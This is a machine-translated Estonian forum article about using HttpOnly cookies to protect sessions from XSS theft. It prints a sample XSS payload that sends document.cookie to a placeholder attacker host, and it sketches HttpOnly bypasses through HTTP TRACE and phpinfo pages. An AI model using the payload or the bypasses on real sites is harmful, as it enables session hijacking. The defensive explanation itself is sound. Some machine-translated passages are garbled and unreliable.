See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 11801|Vastuse: 0

[Turvaline suhtlus] Parandage veebirakenduste turvalisust Httponly'ga

[Kopeeri link]
Postitatud 03.06.2015 20:57:48 | | |
Veebiteenuste tõusuga on üha rohkem rakendusi liikunud B/S struktuuridele, nii et mitmesugustele veebiteenustele pääseb ligi vaid ühe brauseriga, kuid see toob üha enam kaasa ka veebiturvalisuse probleeme. www teenus tugineb Http protokollile, Http on olekuta protokoll, seega info edastamiseks sessioonide vahel on vältimatu kasutada küpsiseid, sessioone ja muid tehnoloogiaid külastaja oleku märgistamiseks, ning olenemata küpsist või sessioonist, teostatakse see tavaliselt küpsiste abil (sessioon on tegelikult märgitud brauseri küpsises tokeniga, Server saab selle tokeni, kontrollib selle legitiimsust ja seob serveris salvestatud vastava oleku brauseriga), nii et see keskendub paratamatult ohutult küpsisele, kuni see küpsis on kättesaadav, saab teada ka teiste identiteedi, mis on sissetungijate jaoks imeline, eriti kui saadud küpsis kuulub kõrgele privileegiga isikule, näiteks administraatorile, on kahju veelgi suurem. Paljude veebiturvalisuse probleemide seas on XSS haavatavus eriti ohtlik.
Rakenduste puhul, kui tekib XSS-i haavatavus, tähendab see, et teised saavad sinu brauseris käivitada suvalisi JS-skripte, ja kui rakendus on avatud lähtekoodiga või funktsioonid on avalikud, saavad teised kasutada Ajaxi nende funktsioonide kasutamiseks, kuid protsess on sageli tülikas, eriti kui soovid kellegi teise identiteeti otse kätte saada juhuslikuks sirvimiseks. Mitteavatud lähtekoodiga rakenduste puhul, näiteks mõnede suurte saitide veebitaust (web2.0 oluline omadus on suur hulk interaktsioone, kasutajad peavad sageli administraatoritega taustal suhtlema, näiteks veateateid või info edastamist jne), kuigi interaktsiooni olemasolu tõttu võib tekkida ristsaidi skriptimise haavatavusi, kuid tausta mõistmise puudumise tõttu on võimatu ehitada täiuslikku ajax-koodi, isegi kui saad kasutada js-i taustakoodi saamiseks ja selle analüüsimiseks tagastamiseks, kuid protsess on ka tülikas ja mitte varjatud. Praegu on väga tõhus kasutada xss haavatavust küpsiste või sessiooni kaaperdamise saamiseks, konkreetse rakenduse autentimise analüüsimiseks, seejärel teatud tehnikate kasutamine ja isegi püsiva teise osapoole identiteedi saamine, isegi kui teine pool programmist väljub.
Kuidas siis saada küpsiste või sessioonide kaaperdamist? Dokumendiobjektis brauseris salvestatakse küpsise info ja küpsise saab js-i abil tagasi saada; kui saad selle küpsise, saad kellegi teise identiteedi. Tüüpiline XSS-rünnaku lause on järgmine:
  1.   xss exp:
  2.   url=document.top.locatio去掉n.href;
  3.   cookie=document.cookie;
  4.   c=new Image();
  5.   c.src=’<a  target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopeeri kood

Mõned rakendused võivad selle probleemi lahendamiseks kasutada brauseri sidumise tehnikaid, näiteks siduda küpsised brauseri kasutajaagendiga, ning pidada küpsist kehtetuks, kui see avastatakse. See meetod on osutunud ebaefektiivseks, sest kui sissetungija varastab küpsise, peab ta samal ajal saama Kasutajaagendi. On ka teine range süsteem, mis seob küpsised Remote-addr-iga (tegelikult on see seotud IP-ga, kuid mõnel programmil on IP saamise meetodiga probleeme, mis samuti viib säästlikkuseni), kuid see toob kasutajakogemuse väga kehvasti, IP muutmine on tavaline, näiteks töö ja kodu on kaks IP-d, seega seda meetodit sageli ei kasutata. Seetõttu on küpsistepõhised rünnakud tänapäeval väga populaarsed ning mõnel veebilehel on lihtne saada rakenduse administraatori staatus.
Kuidas hoiame oma tundlikud küpsised turvalisena? Eelneva analüüsi kaudu saadakse dokumendiobjektidest üldisi küpsiseid ning peame lihtsalt tegema tundlikud küpsised brauseri dokumendis nähtamatuks. Õnneks aktsepteerivad brauserid nüüd küpsiste seadistamisel tavaliselt parameetrit nimega HttpOnly, nagu ka teised parameetrid nagu domeen; kui see HttpOnly on seadistatud, ei näe sa küpsist brauseri dokumendiobjektis ning brauserit ei mõjuta see kuidagi, sest küpsis saadetakse brauseri päisse (sh ajax). Rakendused tavaliselt ei kasuta neid tundlikke küpsiseid js-is, mõnede tundlike küpsiste puhul kasutame HttpOnly ning me ei sea rakenduses küpsiseid, mida tuleb js-iga kasutada, mis tagab küpsiste info turvalisuse ja rakenduse olemasolu. Lisateabe saamiseks HttpOnly kohta vaata http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Küpsiste seadistamise päis brauseris on järgmine:
  1. Set-Cookie: =[; =]
  2.   [; expires=][; domain=]
  3.   [; path=][; secure][; HttpOnly]
Kopeeri kood

Võttes näiteks php, on Setcookie funktsioonile php 5.2-s lisatud HttpOnly tugi, näiteks:
   setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
Saad määrata abc küpsise HttpOnly-ks ja dokument ei ole sellele küpsisele nähtav. Kuna setcookie funktsioon on sisuliselt päis, saad päist kasutada ka HttpOnly määramiseks. Seejärel kasuta document.cookie, et näha, et see küpsis pole enam saadaval. Kasutame seda meetodit Sessionid kaitsmiseks, näiteks mõningaid autentimisküpsiseid autentimiseks, et ei peaks muretsema identiteedi saamise pärast, mis on mõnede taustaprogrammide ja veebimeilide jaoks turvalisuse parandamiseks väga oluline. Kui kasutame ülaltoodud rünnakumeetodit uuesti, näeme, et me ei saa enam tundlikke küpsiseid, mille oleme määranud HttpOnly-ks.
Siiski on näha, et HttpOnly ei ole kõikvõimas, esiteks ei suuda ta lahendada xss-i probleemi, ta ei suuda siiski vastu panna kannatlike häkkerite rünnakutele, ei suuda takistada sissetungijaid ajaxi alistusi tegemast, ja isegi mõned xss-põhised proksid on ilmunud, kuid on olnud võimalik tõsta rünnakute läve, vähemalt ei lõpeta iga skriptilapse poolt xss-rünnakuid ning teised rünnakumeetodid on tingitud keskkonna- ja tehnilistest piirangutest. See pole nii levinud kui küpsiste varastamine.
HttpOnly saab ka mõningaid haavatavusi ära kasutada või seadistada Bypassi, peamine probleem on see, et seni, kuni küpsise päise saab brauserist saada. Näiteks eelmine Http Trace rünnak võib tagastada küpsise sinu päises ning seda rünnakut saab lõpule viia ajaxi või flashiga, mis on samuti ajaxis ja flashis parandatud. Teine märkimisväärne näide võimalikust möödasõidust konfiguratsioonis või rakenduses on phpinfo – nagu sa tead, kuvab phpinfo brauseri saadetud http-päise, sealhulgas autentimisinfo, mida me kaitseme, ja see leht on sageli olemas erinevatel saitidel, kui kasutad ajaxit phpinfo lehe saamiseks, eemalda päise päise osa, et saada küpsis. Mõne rakenduse ebatäpsused võivad samuti põhjustada päise lekkimist, mida saab rünnata sama palju kui lehekülge, mis on kaitstud põhilise kontrolliga.
HttpOnly on paremini toetatud IE 6 ja uuemates versioonides ning seda kasutatakse laialdaselt rakendustes nagu Hotmail ning on saavutanud suhteliselt head turvatulemused.




Eelmine:Eralda ilmainformatsiooni lähtekood Hiina Ilmavõrgu lähtekoodist
Järgmine:Üksikasjalik selgitus HttpOnly seadistustest levinud veebiarenduskeeltes
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com